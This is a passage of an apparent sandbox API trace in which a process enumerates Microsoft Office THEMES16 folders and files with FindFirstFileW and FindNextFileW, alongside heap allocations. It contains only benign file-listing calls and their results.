ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="BREEZE", cAlternateFileName="")) returned 1 [0286.521] GetProcessHeap () returned 0xaf0000 [0286.521] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3696268 [0286.521] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\BREEZE\\*", lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27a96da3, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27abcfff, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27abcfff, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02d48 [0286.522] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27a96da3, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27abcfff, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27abcfff, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0286.522] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27abcfff, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27abcfff, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27abcfff, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1a537, dwReserved0=0x0, dwReserved1=0x0, cFileName="BREEZE.ELM", cAlternateFileName="")) returned 1 [0286.522] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27a96da3, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27a96da3, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27abcfff, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="BREEZE.INF", cAlternateFileName="")) returned 1 [0286.522] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27abcfff, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27abcfff, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27abcfff, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xaa2, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0286.522] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27abcfff, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27abcfff, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27abcfff, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xa90c, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0286.522] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27abcfff, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27abcfff, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27abcfff, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xa90c, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0286.522] FindClose (in: hFindFile=0xb02d48 | out: hFindFile=0xb02d48) returned 1 [0286.522] GetProcessHeap () returned 0xaf0000 [0286.522] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3696268 | out: hHeap=0xaf0000) returned 1 [0286.522] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27abcfff, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27abcfff, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27abcfff, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="CANYON", cAlternateFileName="")) returned 1 [0286.523] GetProcessHeap () returned 0xaf0000 [0286.523] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3696268 [0286.523] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\CANYON\\*", lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27abcfff, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27abcfff, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27abcfff, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02d48 [0286.523] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27abcfff, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27abcfff, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27abcfff, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0286.523] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27abcfff, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27abcfff, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27abcfff, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xaec9, dwReserved0=0x0, dwReserved1=0x0, cFileName="CANYON.ELM", cAlternateFileName="")) returned 1 [0286.523] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27abcfff, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27abcfff, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27abcfff, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1d1, dwReserved0=0x0, dwReserved1=0x0, cFileName="CANYON.INF", cAlternateFileName="")) returned 1 [0286.523] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27abcfff, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27abcfff, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27abcfff, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3b1, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0286.524] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27abcfff, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27abcfff, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27abcfff, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x7f5f, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0286.524] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27abcfff, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27abcfff, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27abcfff, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x7f5f, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0286.524] FindClose (in: hFindFile=0xb02d48 | out: hFindFile=0xb02d48) returned 1 [0286.524] GetProcessHeap () returned 0xaf0000 [0286.524] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3696268 | out: hHeap=0xaf0000) returned 1 [0286.524] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27abcfff, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27abcfff, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27abcfff, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="CAPSULES", cAlternateFileName="")) returned 1 [0286.524] GetProcessHeap () returned 0xaf0000 [0286.524] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3696268 [0286.524] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\CAPSULES\\*", lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27abcfff, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27abcfff, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27abcfff, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02d48 [0286.524] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27abcfff, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27abcfff, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27abcfff, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0286.525] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27abcfff, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27abcfff, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27abcfff, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xe1ba, dwReserved0=0x0, dwReserved1=0x0, cFileName="CAPSULES.ELM", cAlternateFileName="")) returned 1 [0286.525] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27abcfff, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27abcfff, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27abcfff, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1f5, dwReserved0=0x0, dwReserved1=0x0, cFileName="CAPSULES.INF", cAlternateFileName="")) returned 1 [0286.525] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27abcfff, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27abcfff, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27abcfff, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x7fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0286.525] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27abcfff, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27abcfff, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27abcfff, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x74e5, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0286.525] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27abcfff, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27abcfff, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27abcfff, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x74e5, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0286.525] FindClose (in: hFindFile=0xb02d48 | out: hFindFile=0xb02d48) returned 1 [0286.533] GetProcessHeap () returned 0xaf0000 [0286.533] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3696268 | out: hHeap=0xaf0000) returned 1 [0286.533] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27ae323c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27ae323c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27ae323c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="CASCADE", cAlternateFileName="")) returned 1 [0286.533] GetProcessHeap () returned 0xaf0000 [0286.533] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3696268 [0286.533] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\CASCADE\\*", lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27ae323c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27ae323c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27ae323c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02d48 [0286.533] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27ae323c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27ae323c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27ae323c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0286.533] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27ae323c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27ae323c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27ae323c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xba44, dwReserved0=0x0, dwReserved1=0x0, cFileName="CASCADE.ELM", cAlternateFileName="")) returned 1 [0286.534] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27ae323c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27ae323c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27ae323c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x262, dwReserved0=0x0, dwReserved1=0x0, cFileName="CASCADE.INF", cAlternateFileName="")) returned 1 [0286.534] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27ae323c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27ae323c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27ae323c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x553, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0286.534] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27ae323c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27ae323c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27ae323c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4f93, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0286.534] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27ae323c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27ae323c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27ae323c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4f93, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0286.534] FindClose (in: hFindFile=0xb02d48 | out: hFindFile=0xb02d48) returned 1 [0286.534] GetProcessHeap () returned 0xaf0000 [0286.534] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3696268 | out: hHeap=0xaf0000) returned 1 [0286.534] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27ae323c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27ae323c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27ae323c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="COMPASS", cAlternateFileName="")) returned 1 [0286.534] GetProcessHeap () returned 0xaf0000 [0286.534] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3696268 [0286.534] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\COMPASS\\*", lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27ae323c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27ae323c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27ae323c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02d48 [0286.535] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27ae323c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27ae323c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27ae323c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0286.535] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27ae323c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27ae323c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27ae323c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xd613, dwReserved0=0x0, dwReserved1=0x0, cFileName="COMPASS.ELM", cAlternateFileName="")) returned 1 [0286.535] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27ae323c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27ae323c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27ae323c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1e6, dwReserved0=0x0, dwReserved1=0x0, cFileName="COMPASS.INF", cAlternateFileName="")) returned 1 [0286.535] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27ae323c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27ae323c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27ae323c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x50d, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0286.535] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27ae323c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27ae323c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27ae323c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x505f, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0286.535] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27ae323c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27ae323c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27ae323c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x505f, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0286.535] FindClose (in: hFindFile=0xb02d48 | out: hFindFile=0xb02d48) returned 1 [0286.535] GetProcessHeap () returned 0xaf0000 [0286.535] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3696268 | out: hHeap=0xaf0000) returned 1 [0286.535] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27abcfff, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27b094aa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27b094aa, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="CONCRETE", cAlternateFileName="")) returned 1 [0286.535] GetProcessHeap () returned 0xaf0000 [0286.535] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3696268 [0286.535] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\CONCRETE\\*", lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27abcfff, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27b094aa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27b094aa, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02d48 [0286.536] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27abcfff, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27b094aa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27b094aa, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0286.536] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, 